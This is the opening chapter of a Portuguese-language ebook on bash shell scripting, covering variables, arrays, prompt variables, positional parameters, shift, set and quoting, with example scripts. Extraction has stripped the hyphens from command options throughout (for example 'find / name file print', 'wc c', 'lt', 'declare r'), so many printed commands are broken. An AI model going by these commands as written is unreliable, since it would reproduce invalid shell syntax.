Escolar Documentos
Profissional Documentos
Cultura Documentos
Shell Script Adbeel
Shell Script Adbeel
eBook
Shell
Scripts
Adbeel Goes Filho
Fortaleza – Ceará Brasil
Versão 2006.04.25
Adbeel Goes Filho
ShellScripts 2
ADBEEL GOES FILHO
Shell
Scripts
VIRTVS
Fortaleza
2006
Adbeel Goes Filho
ShellScripts 3
CopyFree (C) 2006 da VIRTVS Engenharia e Informática Ltda
Congregamos todos os esforços para fornecer informações de ampla qualidade, contudo, devido ao
dinamismo da área de informática, os autores não assumem responsabilidade pelos resultados e usos
das informações fornecidas.
Recomentamos amplamente aos leitores testar as informações antes de sua efetiva utilização, ao
tempo em que agradecemos antecipadamente por críticas e sugestões prestadas.
Copyright (c) 2000, Adbeel Goes Filho.
É garantida a permissão para copiar, distribuir e/ou modificar este documento sob os termos da
GNU Free Documentation License, versão 1.1 ou qualquer outra versão posterior publicada pela
Free Software Foundation; sem obrigatoriedade de Seções Invariantes na abertura e ao final dos
textos.
Uma copia da licença deve ser incluída na seção intitulada GNU Free Documentation License.
Copyright (c) 2000, Adbeel Goes Filho.
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU
Free Documentation License, Version 1.1 or any later version published by the Free Software
Foundation; with the Invariant Sections being LIST THEIR TITLES, with the FrontCover Texts
being LIST, and with the BackCover Texts being LIST.
A copy of the license is included in the section entitled "GNU Free Documentation License".
Este trabalho foi editado e composto eletronicamente utilizando somente ferramentes livres:
Conhecimentos necessários para a leitura deste trabalho:
Editor Responsável
Satis
Diagramação e Produção
Virtvs
VIRTVS Engenharia e Informática
Rua Cel. Ribeiro da Silva, 391. CEP 60.325210.
Monte Castelo. Fortaleza – CE. Telefone: +55 (85) 32833124
www.virtvs.com.br
Adbeel Goes Filho
ShellScripts 4
SOBRE O AUTOR
Adbeel Goes Filho
adbeel@virtvs.com.br adbeel@dnocs.gov.br adbeel@terra.com.br
Engenheiro Civil pela Universidade Federal do Ceará (UFC).
Especialista em Ciência da Computação pela Universidade Federal do Ceará (UFC).
Mestre em Ciência da Computação pela Universidade Federal do Ceará (UFC).
Especialista em Matemática Computacional e Otimização de Sistemas.
Doutorando em Engenharia Civil – Recursos Hídricos (UFC)
Acadêmico de Administração de Empresas pela Universidade Estadual do Ceará (UECE).
Professor do Curso de Graduação em Informática da Universidade de Fortaleza (UNIFOR).
Coordenador de Gestão Estratégica do Departamento Nacional de Obras Contra as Secas (DNOCS).
Diretor de Engenharia e Informática da VIRTVS Engenharia e Informática Ltda
Consultor nas áreas de engenharia civil e informática em empresas e instituições públicas.
Consultor na área de custos e acompanhamento de projetos de engenharia civil.
Consultor da PERITUS Projetos e Pesquisas Ltda, na área de organização, projetos e informática.
Exprofessor dos cursos de Processamento de Dados, Engenharia Civil, Agronomia, Engenharia e Alimentos,
Geologia, Matemática e Estatistica da Universidade Federal do Ceará (UFC).
Exprofessor do Curso de Bacharelado em Computação da Faculdade Lourenço Filho.
Exdiretor de engenharia e informática da Rhodes Engenharia e Informática Ltda.
ExAnalista de Sistemas da Fundação Cearense de Meteorologia (FUNCEME).
Adbeel Goes Filho
ShellScripts 5
AGRADECIMENTOS
VIRTVS Engenharia e Informática Ltda
Departamento Nacional de Obras Contra as Secas – DNOCS
Universidade Federal do Ceará – UFC
Universidade de Fortaleza – UNIFOR
Faculdade Lourenço Filho FLF
AGRADECIMENTOS ESPECIAIS
Aos meus pais Elsie Studart e Adbeel Goes de Oliveira
Aos meus avós (in memoriam)
Angelina Goes de Oliveira e Luis Rodrigues de Oliveira
Olga Sales Lopes Gurgel e Benjamim Studart Gurgel
A minha esposa Cristine Studart de Santana
A meu grande mestre Prof. Dr. Gerardo Valdisio Rodrigues Viana
Ao meu orientador acadêmico e de vida Prof. Dr. Clécio Fontelles Thomaz
Ao meu orientador e incentivador Prof. Dr. Nilson Campos
Aos meus grandes mestres:
Antônio Gouveia Neto
Afrodisio Durval Gondim Pamplona
Amaury Aragão Araújo
Genésio Martins de Araújo
Suetônio Mota
Vicente de Paula Barbosa Vieira
A todos os outros que, pelo esquecimento, tipico da natureza humana, deixamos de citar.
Adbeel Goes Filho
ShellScripts 6
Marcas Registradas
Durante este trabalho aparecem várias marcas registradas, contudo, o autor declara estar utilizando
tais nomes apenas para fins editorais, em benefício exclusivo da marca registrada, sem a mínima
intenção de infrigir regras de sua utilização.
Adbeel Goes Filho
ShellScripts 7
Sumário
Capitulo 1. Introdução........................................................................................................................................10
1.O Shell ......................................................................................................................................................10
2.O que são os shell scripts ? ......................................................................................................................12
3.Definições .................................................................................................................................................14
4.Variáveis ...................................................................................................................................................14
5.Formato dos Arquivos de Shell Script .......................................................................................................22
6.Exercicios..................................................................................................................................................34
Capitulo 2. Execução de Programas..................................................................................................................36
7.Execução em foreground e background ....................................................................................................36
8.Redirecionamento......................................................................................................................................37
9.Metacaracteres e Wildcards......................................................................................................................40
10.Sequências de Escape ANSI...................................................................................................................44
11.Códigos de Escape .................................................................................................................................49
12.Conclusões..............................................................................................................................................50
13.Exercicios.................................................................................................................................................51
Capitulo 3. Comandos Condicionais..................................................................................................................52
Capitulo 4. Comandos de Repetição.................................................................................................................62
14.while.........................................................................................................................................................62
15.for ............................................................................................................................................................63
16.until..........................................................................................................................................................66
17.case .........................................................................................................................................................66
18.break e continue......................................................................................................................................67
19.Redirecionando loops..............................................................................................................................69
20.select ......................................................................................................................................................75
21.Funções...................................................................................................................................................78
22.Tornando seu script amigável..................................................................................................................87
23.dialog.......................................................................................................................................................89
Capitulo 5. Comandos Avançados.....................................................................................................................94
1.cut..............................................................................................................................................................94
2.wc..............................................................................................................................................................98
3.tee..............................................................................................................................................................98
4.sort.............................................................................................................................................................99
5.grep..........................................................................................................................................................100
6.sed...........................................................................................................................................................106
Capitulo 6. Bibliografia......................................................................................................................................113
Capitulo 7. Apêndice A – Endereços Internet...................................................................................................114
Capitulo 8. Anexos............................................................................................................................................115
1.Exemplos..................................................................................................................................................116
2.Laboratórios.............................................................................................................................................132
3.Exercicios.................................................................................................................................................140
5.GNU Free Documentation License..........................................................................................................143
Adbeel Goes Filho
ShellScripts 8
Abreviações Utilizadas
*IX Sistema operacional fundamentado em Unix
LP Linguagem de programação
SO Sistema Operacional
SS Shellscript
Adbeel Goes Filho
ShellScripts 9
Capitulo 1. Introdução
1. O Shell
USUÁRIO > SHELL > KERNEL > HARDWARE
Antes de Começar
Se você está acessando o sistema como usuário administrador (root), saia e entre como
um usuário normal. É muito perigoso estudar Shell usando o superusuário, você pode danificar o
sistema com um comando errado.
Veja o exemplo abaixo:
Welcome to Linux Slackware 7.1 kernel 2.2.16.
virtvs login: eu
Password:
Adbeel Goes Filho
ShellScripts 10
Linux 2.2.16.
Last login: Mon Sep 25 10:41:12 0300 2000 on tty1.
No mail.
virtvs@mucuripe:~$
Essa última linha é o shell. Se você digitar o comando "ps", verá que um dos programas rodando é o
seu shell . O comando “ps” lista os processos em :
virtvs@mucuripe:~$ ps
PID TTY TIME CMD
164 tty2 00:00:00 bash
213 tty2 00:00:00 ps
virtvs@mucuripe:~$
Ou seja, o shell utilizado nesse console é o bash, que está rodando com PID 164.
Existem diversos tipos de shell: bash, csh, ksh, ash, etc. Por exemplo, o AIX/6000
possui 5 tipos de shell disponíveis: korn shell (ksh), bourne shell (bsh, sh), C shell (csh), trusted
shell (tsh), restricted shell (rsh). O default para este sistema é o ksh. O mais utilizado atualmente é o
bash (GNU BourneAgain SHell). Por isso o tomaremos como referência.
Resumindo essa seção, é importante saber que para cada terminal ou console aberto,
temse um shell rodando. Assim, se você tem 3 xterms abertos na interface gráfica, vai ter um shell
para cada xterm.
Ao executar o shell script, o shell atual (no qual você deu o comando) abre um novo
shell para executar o script. Assim, os scripts são executados em um shell próprio (a menos que se
especifique, ao chamar o script, para executálo no shell atual). Isso será importante quando formos
tratar de variáveis de ambiente.
O uso de alias
Alias é um novo nome, ou apelido, para o comando. Pode ser usado para abreviar
longas linhas de comando ou fazer com que comandos comportemse diferente da execução padrão.
Sintaxe: alias [nome[=string]]
Exemplo:
alias cls=clear
alias ls='ls logt'
alias dir=ls
Adbeel Goes Filho
ShellScripts 11
2. O que são os shell scripts ?
Shell scripts são conjuntos de comandos armazenados em um arquivo texto que são
executados seqüencialmente. Nesta primeira parte, faremos uma introdução sobre o shell, o formato
desses arquivos e variáveis de ambiente. Shell pode ser standard ou restrito, na verdade é um
comando que possibilita gerar textos com lógica de programação. É muito utilizado para montagem
de ambientes de login e abertura de novos processos que indicam nova seção.
Existe vários tipos de shells, a mais utilizada é a sh, que é um link da bash, ou seja
/bin/sh é link de /bin/bash
Detalhes importantes
Qualquer shellscript criado necessita na "primeira linha" de indicar onde se encontra
o shell interpretador, ou seja o destino, que por padrão é #!/bin/sh, porém pode ter casos de se
localizar em outro diretório. Também devo dizer que todo shellscript deve ter permissão para obter a
execução. Caso não seja informada esta primeira linhx o shell usará a default do sistema. Sintaxe :
$chmod a+x shellscript
Para colocar comentários assim como no PERL, utilize o # (chamado culturalmente de sustenido)
O Primeiro Shell Script
O primeiro Shell Script a fazer será o "sistema" do exemplo anterior, de simplesmente juntar três
comandos num mesmo script.
Passos Para Criar um Shell Script
1. Escolher um nome para o script
Já temos um nome: sistema.
Use apenas letras minúsculas e evite acentos, símbolos e espaço em branco
2. Escolher o diretório onde colocar o script
Para que o script possa ser executado de qualquer parte do sistema, movao para um diretório que
esteja no seu PATH. Para ver quais são estes diretórios, use o comando:
echo $PATH
Se não tiver permissão de mover para um diretório do PATH, deixeo dentro de seu HOME
3. Criar o arquivo e colocar nele os comandos
Adbeel Goes Filho
ShellScripts 12
Use o VI ou outro editor de textos de sua preferência para colocar todos os comandos dentro do
arquivo.
4. Colocar a chamada do Shell na primeira linha
A primeira linha do script deve ser:
#!/bin/bash
Para que ao ser executado, o sistema saiba que é o Shell quem irá interpretar estes comandos.
5. Tornar o script um arquivo executável
Use o seguinte comando para que seu script seja reconhecido pelo sistema como um comando
executável:
chmod +x sistema
Problemas na Execução do Script
"Comando não encontrado"
O Shell não encontrou o seu script.
Verifique se o comando que você está chamando tem exatamente o mesmo nome do seu script.
Lembrese que no Linux as letras maiúsculas e minúsculas são diferentes, então o comando
"SISTEMA" é diferente do comando "sistema". Caso o nome esteja correto, verifique se ele está no
PATH do sistema. O comando
"echo $PATH" mostra quais são os diretórios conhecidos, mova seu script para dentro de um deles,
ou chameo passando o caminho completo.
Se o script estiver no diretório corrente, chameo com um "./" na frente, assim:
$./sistema
Caso contrário, especifique o caminho completo desde o diretório raiz:
$/tmp/scripts/sistema
"Permissão Negada"
O Shell encontrou seu script, mas ele não é executável. Use o comando "chmod +x seuscript" para
tornálo um arquivo executável.
"Erro de Sintaxe"
O Shell encontrou e executou seu script, porém ele tem erros.
Um script só é executado quando sua sintaxe está 100% correta. Verifique os seus comandos,
geralmente o erro é algum IF ou aspas que foram abertos e não foram fechados. A própria
mensagem informa o número da linha onde o erro foi encontrado.
Adbeel Goes Filho
ShellScripts 13
3. Definições
Branco e TAB ou espaço são a mesma coisa. Um nome é uma sequência de letras,
digitos ou underscores começando com uma letra ou underscore. Um parâmetro é um nome um
digito ou algum desses caracteres: *, #, ?, , $, e !.
Comando : é uma sequência de não brancos separados por brancos. A primeira sequência ou
argumento é o argumento 0.
Pipeline : é uma sequência de um ou mais comandos separados por | (ou, para compatibilidade
histórica, pelo ^). A função de uma pipeline é sincronizar a entrada ou saida padrão para um arquivo
do tipo FIFO.
Uma lista : é uma sequência de pipelines separadas por;. &, &&, or ||, e opcionalmente,
terminada por ; ou &.
Exemplos de comandos do shell:
for name [ in word ... ] do list done
case word in [ pattern [ | pattern ] ...) list ;; ] ... esac
if list then list [ else list then list ] ... [ else list ] fi
while list do list done
4. Variáveis
Uma variável é onde o shell armazena determinados valores para utilização posterior.
São áreas de memória onde podem ser armazenados dados. Estes dados podem ser números, textos,
listas de arquivos e até mesmo resultados da saida de comandos que podem ser utilizados
posteriormente. Existem duas categorias de variáveis que podemos definir no ambiente Unix:
1. Variáveis locais – disponíveis somente para o Shell corrente, não sendo acessadas
pelos subprocessos;
2. Variáveis ambientais ou globais – disponíveis tanto para o Shell corrente como para
os subprocessos que venham a usar o conteúdo das variáveis definidas. Para
transformar uma variável com escopo global utilize o comando export. Exemplo:
export <variável>
Para a visualização das variáveis locais, usase o comando set. Para verificar quais
variáveis estão exportadas, usase o comando env.
Toda variável possui um nome e um valor associado a ela, podendo ser este último
vazio. Para listar as variáveis atualmente definidas no shell digite o comando set. Para se definir
uma variável, basta utilizar a síntaxe (Sem espaço ao redor do =):
nome_da_variável=conteúdo
Por exemplo, queremos definir uma variável chamada "cor" com o valor de "azul":
Adbeel Goes Filho
ShellScripts 14
virtvs@mucuripe:~$ cor=azul
Para utilizar o valor de uma variável, é só colocar um sinal de "$" seguido do nome da
variável o shell automaticamente substitui pelo valor da variável:
virtvs@mucuripe:~$ echo cor
cor
virtvs@mucuripe:~$ echo $cor
azul
Em alguns casos, é aconselhável colocar o nome da variável entre chaves {}. Por
exemplo, se quero imprimir "azulescuro", como faria ? Simplesmente echo $corescuro ? Não
funcionaria, pois o bash vai procurar uma variável de nome "corescuro". Portanto, temos que
colocar o nome "cor" entre chaves para delimitar o nome da variável:
virtvs@mucuripe:~$ echo ${cor}escuro
azulescuro
Algumas variáveis já são predefinidas no shell, como o PATH, que, como foi dito
antes, armazena o caminho dos programas. Por exemplo, a minha variável PATH contém:
virtvs@mucuripe:~$ echo $PATH
/usr/local/bin:/usr/bin: /bin: /usr/X11R6/bin: /usr/openwin/bin:/usr/games: /opt/kde/bin:
/usr/share/texmf/bin: /etc/script
ou seja, quando digito um comando, como "ls", o shell vai começar a procurálo em
/usr/local/bin, se não encontrálo, vai procurar em /usr/bin e assim por diante. Repare que os
diretórios são separados por um sinal de dois pontos (:).
Quando o script terminar, o seu shell (shell filho) simplesmente desaparece e com ele
também as suas variáveis, liberando o espaço ocupado na memória.
Para tornar uma variável imune à alteração ou deleção, devese usar o comando
readonly
Variáveis somente leitura não podem ser apagadas. Elas somente deixarão de existir no
momento em que for efetuado o logout da sessão de terminal, ou se o programa que criou a variável
for encerrado, exceto no caso de o Shellscript estar rodando na mesma instância de interpretador
que iniciou a execução do scriptShell.
readonly nome
Para apagar uma variável, use o comando unset:
Adbeel Goes Filho
ShellScripts 15
unset nome
Variáveis Array
Também conhecidas como vetores. Este tipo de variável serve para armazenar vários
valores sob um nome e um índice. A maneira de declarar variáveis array é a seguinte:
NomeDaVariavel[Indice]=Valor
sendo que Indice deve ser necessariamente um valor inteiro.
Imaginemos que Maria queira armazenar uma lista de suas frutas favoritas em uma variável array.
Para isso ela faria o seguinte:
$ FRUTA[0]=goiaba
$ FRUTA[1]=manga
$ FRUTA[2]=pera
$ FRUTA[3]=laranja
Supondo que ele colocou esta lista em ordem decrescente de gosto, para sabermos qual é a sua fruta
favorita basta digitarmos:
$ echo ${FRUTA[0]}
Se colocarmos $FRUTA[0] e shell exibirá goiaba[0] (goiaba concatenado com [0]. Desta forma
notase a necessidade do uso de {}
Agora vejamos uma coisa interessante. Se eu declarar uma variável assim:
$FRUTA=goiaba
e depois quiser fazer um array com o nome FRUTA eu posso fazer assim:
$ FRUTA[1]=manga
Desta maneira 'goiaba' passa a ser armazenada em FRUTA[0]
Outra coisa interessante é que podemos declarar um array inteiro numa única linha de comando.
Para isto usamos a sintaxe:
NomeDoArray=(valor1 valor2 ... valorn)
Desta maneira Maria economizaria teclado digitando isto:
$FRUTA=(goiaba manga pera laranja)
Adbeel Goes Filho
ShellScripts 16
E para vermos toda a lista de uma vez só, podemos usar o seguinte comando:
$ echo ${FRUTA[*]}
Existem várias outras especificações para arrays, aqui é só o básico. E se você precisar usar arrays
de maneira mais complexa que isso procure a documentação oficial do bash.
Ambiente do usuário
A variável PS1
Esta é a "Prompt String 1" ou "Primary Prompt String". Nada mais é do que o prompt
que nos mostra que o shell está esperando um comando. Quando você muda PS1 você muda a
aparência do prompt. Na minha máquina o padrão é '\u@\h:\w\$ ' onde \u significa o nome do
usuário, \h significa o nome do host e \w é o diretório atual, o que dá a seguinte aparência:
meleu@meleu:/usr/doc/LinuxHOWTOs$
Veja algumas possibilidades (Verifique mais no manual do bash):
\d mostra a data atual
\h mostra o hostname
\s o nome do shell
\t a hora atual (no estilo 24 horas)
\T a hora atual (no estilo 12 horas)
\u nome do usuário que está usando o shell
\w nome do diretório atual (caminho todo)
\W nome do diretório atual (somente o nome do diretório)
Se você estiver afim de ter a impressão de que está no shell do root basta trocar o '$' por '#'
Para aprender a fazer um monte de gracinhas com o PS1 dê uma lida no BashPromptHOWTO
A variável PS2
Adbeel Goes Filho
ShellScripts 17
Esta é a "Secondary Prompt String". É usada quando um comando usa mais de uma
linha. Por exemplo:
$ echo m\
> e\
> l\
> e\
> u
meleu
$ echo 'm
> e
> l
> e
> u'
m
e
l
e
u
Este sinal '> ' (maiorespaço) é o PS2. Você pode usar os mesmos caracteres especiais que o PS1
usa.
A variável MAIL
Nada mais é do que o arquivo onde são guardados seus emails. Aqui na minha máquina
eu uso o sendmail como servidor de email, portanto:
meleu@meleu:~$ echo $MAIL
/var/spool/mail/meleu
porém se estivesse usando qmail seria:
meleu@meleu:~$ echo $MAIL
/home/meleu/Mailbox
A variável SHLVL
Esta variável armazena quantos shells você executou a partir da primeira shell.
Imagine que você está usando o bash e executou o bash de novo, nesta situação o seu
SHLVL vale 2. Veja isto:
$ echo $SHLVL
1
$ bash # estou executando o bash a partir do bash
$ echo $SHLVL
Adbeel Goes Filho
ShellScripts 18
2
$ exit # saí do segundo bash
exit
$ echo $SHLVL
1
Quando você inicializa scripts a partir do comando "source" o script é executado no
shell pai, portanto se tiver um "exit" no script você vai executar um logoff. É aí que está a utilidade
da variável SHLVL. Quando você está no shell primário o valor de SHLVL é 1. Então você pode,
através de um "if" por exemplo, executar o "exit" só se SHLVL for diferente de 1.
A variável PROMPT_COMMAND
Esta é bem interessante. Ela armazena um comando que será executado toda hora que o
prompt é exibido. Veja:
$ PROMPT_COMMAND="date +%T"
19:24:13
$ cd
19:24:17
$ ls
GNUstep/ bons.txt pratica/ teste worldwritable.txt Mail/ hacking/ progs/ txts/
19:24:19
$
19:24:32
$ # isso eh uma linha sem nenhum comando
19:24:49
$
Esta variável é útil quando queremos brincar com o prompt, para aprender mais sobre isso leia o
BashPromptHOWTO (v. 10. Referências).
A variável IFS
O shell usa esta variável para dividir uma string em palavras separadas. Normalmente
o IFS é um espaço, uma tabulação (Tab) e um caractere nova linha (\n). Desta maneira:
isto eh uma string
são quatro palavras, pois IFS é um espaço e as palavras estão separadas por espaço. Agora se eu
mudar IFS para um ':' desta maneira:
IFS=':'
então a string:
Adbeel Goes Filho
ShellScripts 19
isto:eh:uma:string
conterá quatro palavras. Isto é útil para casos como neste exemplo:
#!/bin/bash
IFS=':'
for item in $PATH ; do
echo $item
done
Se IFS for uma variável nula (vazia), tudo será considerado uma única palavra. Por exemplo: se o
IFS for nulo, toda essa linha será considerada uma única palavra
A variável RANDOM
Quando você exibe esta variável ("echo $RANDOM") é exibido um número aleatório
entre 0 e 32767.
#!/bin/bash
NUM="98$(echo $RANDOM)0"
CONT=$(echo n $NUM | wc c) # quantos digitos tem?
while [ $CONT lt 8 ]; do # se nao tiver 8 digitos acrescenta 0's
NUM=${NUM}0
CONT=$(echo n $NUM | wc c)
done
echo $NUM
Outras Variáveis
Outras variáveis que são muito usadas:
MAILCHECK ; HISTFILE ; HOSTNAME ; LS_OPTIONS ; LS_COLOR ; MANPATH ; SHELL ;
TERM ; USER ; PS3 .
Estas são as mais utilizadas, porém existem muitas outras. Para ver quais são as
variáveis definidas no momento basta entrar com o comando "set". E para ver apenas as variáveis de
ambiente use "env".
Olhe a man page do bash na seção "Shell Variables" para mais detalhes.
Configurando variáveis do Shell
nome=conteúdo
Não deve haver espaço antes ou depois do sinal de igual. Isso assegura que a atribuição seja feita
corretamente, não sendo interpretada com o um comando com argumentos separados por espaço.
Poderemos tambem acessar substrings em variaveis na forma
Adbeel Goes Filho
ShellScripts 20
#a=”13/05/2004”
#b=${a:6:4}
#echo $b
#2004
A variável PATH
Armazena a relação de diretório, usada pelo Shell para pesquisa de comandos. Os
diretórios a serem pesquisados devem estar separados por (:). Lembrese que os nomes de variáveis
são sensíveis ao contexto, ou seja PATH não é igual a PaTh.
Exemplo:
export PATH=/usr/bin:/usr/sbin:.
Exercícios
1. Crie um alias limpatela que execute o comando clear.
2. Mude o prompt do sistema para que apareça: <usuário>@<diretório corrente>$
3. Coloque o alias criado anteriormente no seu shell.
4. Elabore um shellscript para gerar 10 números aleatórios.
Adbeel Goes Filho
ShellScripts 21
5. Formato dos Arquivos de Shell Script
A primeira linha de todo shellscript deve começar com algo do tipo (Se não colocar é
assumido o shell padrão):
#!/bin/bash
a qual indica com qual shell deverá ser executado o script. Nesse exemplo, estamos falando para o
shell atual executar o script com o shell /bin/bash. Se quisermos que o nosso script seja executado
com o shell csh, devemos colocar nessa primeira linha:
#!/bin/csh
Como usaremos o bash como nosso shell de referência, todas as linhas dos nossos
scripts começarão com #!/bin/bash
Digamos que você executa freqüentemente o comando:
find / name file print
que procura na raiz (/) por um arquivo de nome "file". Só que é incômodo ficar
digitando esse comando toda vez que se quer procurar um arquivo. Então vamos criar um shell
script que contenha esse comando. Vamos chamar esse shell script de "procura". Seu conteúdo fica
assim:
#!/bin/bash
find / name file print
Tornemos agora o arquivo executável: chmod 755 ./procura . Porém, ao tentar executar o nosso
script, teremos um problema.
./procura
Este script irá procurar por um arquivo chamado "file". Como especificar qual arquivo
queremos procurar ? Seria ideal executarmos o nosso script seguido do nome do arquivo que
queremos procurar. Por exemplo, queremos saber onde está o arquivo "netscape":
./procura netscape
É ai que entram as "variáveis de parâmetro".
Vamos substituir no nosso script a linha find / name file print por
find / name $1 print
Quando o bash lê a variável "$1", ele a substitui pelo primeiro parâmetro passado na
linha de comando para o nosso script. Então, se executamos ./procura netscape , a variável "$1" será
substituída por "netscape", como a gente queria. Repare que a variável "$2" conteria o segundo
parâmetro passado para o script e assim por diante.
Adbeel Goes Filho
ShellScripts 22
Esse é o essencial do shell script: poder automatizar a execução de programas e comandos como se
estivessem sendo digitados diretamente no console ou terminal.
1. Capacidades de substituição do Shell
Uma característica interessanto no shell é a capacidade de podermos manipular textos,
números e até saída de comandos através de variáveis. Existem 3 tipos de substituição no Shell:
1. Substituição de variáveis \ parâmetros;
2. Substituição de comandos;
3. Substituição do til;
Substituição de variáveis \ parâmetros
${variavel:string}
Se "variavel" não tiver sido definida ou for vazia será substituída por "string". O valor
da variável não é alterado. Veja este exemplo:
$ echo ${URL:"http://unsekurity.virtualave.net"}
http://unsekurity.virtualave.net
$ echo $URL # observe que URL nao foi alterado
${variavel:=string}
Se "variavel" não estiver sido definida ou for vazia, receberá "string". Exemplo:
$ echo ${WWW:="http://meleu.da.ru"}
http://meleu.da.ru
$ echo $WWW
http://meleu.da.ru
${variavel:?string}
Se "variavel" não estiver sido definido ou for vazia, "string" será escrito em stderr (saída de erro
padrão). O valor da variável não é alterado. Veja um exemplo:
Adbeel Goes Filho
ShellScripts 23
$ echo ${EDITOR:?"Nenhum editor de texto"}
bash: EDITOR: Nenhum editor de texto
$ echo $EDITOR
${variavel:+string}
Se "variavel" estiver definida, será substituída por "string" mas seu valor não será alterado.
Exemplo:
$ echo ${BROWSER:+"BROWSER definido como \"$BROWSER\""}
BROWSER definido como "links"
Variáveis SomenteLeitura
Como sabemos as variáveis podem ter seu valor modificado pelo usuário, mas se nós
quisermos variáveis que NÃO possam ter seus valores alterados basta declararmos tal variável como
somenteleitura. Para tornar uma variável readonly podemos usar o comando "readonly" ou então
"declare r".
Veja os exemplos a seguir, ambos possuem o mesmo resultado:
$ readonly NOME="Meleu Zord"
$ echo $NOME
Meleu Zord
$ declare r NOME="Meleu Zord"
$ echo $NOME
Meleu Zord
$ NOME=Fulano
bash: NOME: readonly variable
$ echo $NOME
Meleu Zord
Um bom uso deste tipo de variável é para garantir que variáveis importantes de um
determinado script não possam ser sobregravadas, evitando assim algum resultado crítico.
O comando "readonly" quando usado sem parâmetros (ou o comando "declare" apenas
com o parâmetro "r") nos mostra todas as variáveis declaradas como somenteleitura. No exemplo a
seguir se for usado "declare r" no lugar de "readonly" teríamos a mesma saída.
$ readonly
declare ar BASH_VERSINFO='([0]="2" [1]="05" [2]="0" [3]="1" [4]="release"
[5]="i386slackwarelinuxgnu")'
declare ir EUID="1005"
declare ir PPID="1"
Adbeel Goes Filho
ShellScripts 24
declare r
SHELLOPTS="braceexpand:hashall:histexpand:monitor:ignoreeof:interactivecomments:emacs"
declare ir UID="1005"
Existem variáveis somenteleitura que são inicializadas pelo shell, como USER, UID.
TODAS as variáveis readonly uma vez declaradas não podem ser "unsetadas" ou ter seus valores
modificados. O único meio de apagar as variáveis readonly declaradas pelo usuário é saindo do
shell (logout).
Parâmetros
Podemos passar parâmetros para o shellscript assim como na maioria dos programas.
Os parâmetros são variáveis, digamos, especiais. Para começar elas não obedecem as regras de
nomeclatura de variáveis, pois elas usam números; e também nós não podemos mudar o valor destas
variáveis pelas vias "tradicionais", para mudar o valor destas nós temos que contar com a ajuda do
shift e/ou do set (como veremos adiante).
Veja esta relação:
$0 é o nome do shellscript (parâmetro zero);
$1 a $9 $1 é o primeiro parâmetro, $9 o nono, e assim por diante;
${10}, ${11}.. quando o número do parâmetro possui mais de um dígito é necessário o uso
das chaves;
$* todos os parâmetros em uma única string (exceto o $0)
$@ todos os parâmetros, cada um em strings separadas (exceto $0)
$# número de parâmetros (sem contar com o $0).
$? valor de retorno do último comando (explicado mais adiante);
$$ PID do script;
$! PID do último comando iniciado com &
Adbeel Goes Filho
ShellScripts 25
Exemplo:
#!/bin/bash
#
# "basename" serve para eliminar o caminho do arquivo e mostrar
# somente o último nome dele. Neste caso: parametros.sh
echo "Nome do script: `basename $0`"
echo "Número total de parâmetros: $#"
echo "Primeiro parâmetro: $1"
echo "Segundo parâmetro: $2"
echo "Décimo quinto parâmetro: ${15}"
echo "Todos os parâmetros: $*"
$ ./parametros.sh a b c d e f g h i j l m n o p q r s t u v x z
Nome do script: parametros.sh
Número total de parâmetros: 23
Primeiro parâmetro: a
Segundo parâmetro: b
Décimo quinto parâmetro: p
Todos os parâmetros: a b c d e f g h i j l m n o p q r s t u v x z
Se você não entendeu direito a diferença entre o $* e o $@, então dê uma olhada no seguinte script
(se não entendêlo tudo bem, siga em frente e quando aprender sobre o "if" e o "for" leiao
novamente):
Exemplo:
#!/bin/bash
# Ao executar este script entre alguns parametros. Ex.:
# [prompt]$ ./testargs.sh um dois tres quatro
if [ z "$1" ]; then
echo "Uso: `basename $0` argumento1 argumento2 etc."
exit 1
fi
echo
echo "Listando argumentos com \"\$*\":"
num=1
for arg in "$*"; do
echo "Arg #$num = $arg"
num=$[ $num + 1 ]
done
Adbeel Goes Filho
ShellScripts 26
# Conclusão: $* mostra todos os argumentos como uma única string
echo
echo "Listando argumentos com \"\$@\":"
num=1
for arg in "$@"; do
echo "Arg #$num = $arg"
num=$[ $num + 1 ]
done
# Conclusão: $@ mostra cada argumento em strings separadas
echo
shift
O bash possui um comando embutido que lida com parâmetros, o shift. Quando você
usa o shift sai o primeiro parâmetro da lista e o segundo vai para $1 o terceiro vai para $2, e assim
por diante. Você pode ainda especificar quantas "casas" você quer que os parâmetros "andem" à
esquerda através de "shift n" onde 'n' é o número de casas, mas se o número de casas que ele deve
andar for maior que o número de parâmetros o shift não é executado.
Veja este exemplo:
#!/bin/bash
echo "$#: $*"
echo e "executando \"shift\""
shift
echo "$#: $*"
echo e "executando \"shift 5\""
shift 5
echo "$#: $*"
echo e "executando \"shift 7\""
shift 7
echo "$#: $*"
$ ./shiftexemplo.sh 1 2 3 4 5 6 7 8 9 0
10: 1 2 3 4 5 6 7 8 9 0
executando "shift"
9: 2 3 4 5 6 7 8 9 0
executando "shift 5"
4: 7 8 9 0
executando "shift 7"
4: 7 8 9 0
Os valores que saem são perdidos. Use com atenção!
Adbeel Goes Filho
ShellScripts 27
Adbeel Goes Filho
ShellScripts 28
set (para editar parâmetros)
O que vou passar neste tópico não é sobre como usar "todo o poder do comando set", e
sim como usar set especificamente para editar parâmetros. Não tem nenhum segredo! Veja este
exemplo:
set um dois tres
Isso fará com que $1 seja 'um', $2 seja 'dois', $3 seja 'tres' e só!
Não existirá $4, $5, etc. mesmo que eles tenham sido usados. Veja um exemplo de script:
#!/bin/bash
echo "Os $# parâmetros passados inicialmente foram: $@"
echo
echo "e agora eu vou alterálos!"
echo "como eu sou mau... (huahuahau risada diabólica huahuahuha)"
echo
set um dois tres
echo "Os $# novos parâmetros agora são: $@"
echo
Não interessa quantos parâmetros você passar para este script, no final você só terá $1,
$2 e $3 valendo 'um', 'dois' e 'tres', respectivamente.
Quoting
Os caracteres abaixo tem um modo especial de tratar o shell :
; & ( ) | ^ < > newline space tab #
∙ caracter deve ser cotado pela precedência com um \. O par \newline é ignorado. Todos os
caracteres fechados entre o par de acentos (‘), exceto aspas simples são cotadas.
∙ Um & no final do comando indica que este irá ser executado em background. O shell mostra o
número do processo gerado.
Para que você não perca este processo ao terminar seu shell, execute seu comando assim:
$ nohup comando argv1 argv2 ... argvn&
Exemplos:
echo $PATH
/usr/bin:/usr/local/bin
Adbeel Goes Filho
ShellScripts 29
arquivo=/home/morro.txt
more $arquivo
txt1=Casa
txt2=Mae
txt3=Joana
echo ${txt1}da$txt2$txt3
Observe que no último exemplo foram usadas as chaves para circundar o nome da
variável, senão o Shell poderia interpretar a variável como txt1da, o que seria o nome da variável
diferente de txt1, caso as chaves não fossem usadas, gerando mensagem de erro de parâmetro não
definido, pois nesse caso a variável txt1da não existiria.
